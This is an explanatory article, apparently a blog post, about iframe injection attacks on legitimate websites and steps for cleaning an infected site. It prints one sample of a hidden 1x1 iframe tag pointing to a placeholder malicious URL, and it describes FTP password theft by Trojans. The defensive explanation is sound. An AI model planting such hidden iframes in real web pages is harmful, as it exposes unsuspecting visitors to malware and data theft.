Iframe Injection Website Attack and Tips to Clean the Infection

One of the most popular online attacks that happens all the time has to do with thousands of legitimate websites being hacked with the “Iframe code injection” attack resulting in Cross Site Scripting (XSS) or silent redirections to malicious websites. This means that unsuspicious visitors get infected with a malware virus when they visit that legitimate websites.

What happens is that an “Iframe html code” is injected at the end (usually) of “index.php” or “index.html” files of the legitimate websites.

This “iframe” code embeds into the legitimate site a malicious code which installs a virus to the visitor’s PC or tries to steal sensitive information. The <iframe> html tag is used to embed content from other website into the current page. Usually an injected iframe code looks like the following:

<iframe src=”http://some-malicious-web-url” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

The problem usually is not because of vulnerability on the website itself but rather is usually caused by a malware Trojan which infects the website owner’s PC.

The Trojan (maybe Mpack script released by Russians and sold for $1000) steals the FTP password of the website owner and connects to the website as ftp user, thus being able to upload and modify files on the website. After the website gets infected, Google usually reports the site as “This Site May Harm Your Computer”, thus harming the reputation of the website.

The iframe injections also might infect the users’ computer with other malware which for example transform the computer into a zombie host and make it a member of a botnet network. The purpose of a botnet is to perform attacks (DDoS, Spam attacks etc) to other targets.

Some tips to clean the infection of your site:

• First of all scan and clean your own computer which you use to connect to your site. The Trojan might be undetectable by some antivirus, so you better format the windows OS and install a fresh copy.
• Change ALL your passwords and most importantly the FTP passwords and the website control panel passwords.
• Download all files from your website and store them in a safe place on your PC to further analyze the infection.
• If you have a recent clean backup of your website, upload the backup files and replace all current files.
• If you don’t have a backup (shame on you!!) then edit all source code (html or PHP files) and search for <iframe> html commands inside the code. Delete the suspicious <iframe> and re-upload all html, php files to your website.
•  Download an antivirus tool which scans the website for <iframe> content. If you use WordPress there are some great security plugins which scan your website’s source code for infections and also protect the site with a firewall. A great security plugin for WordPress is Wordfence for example.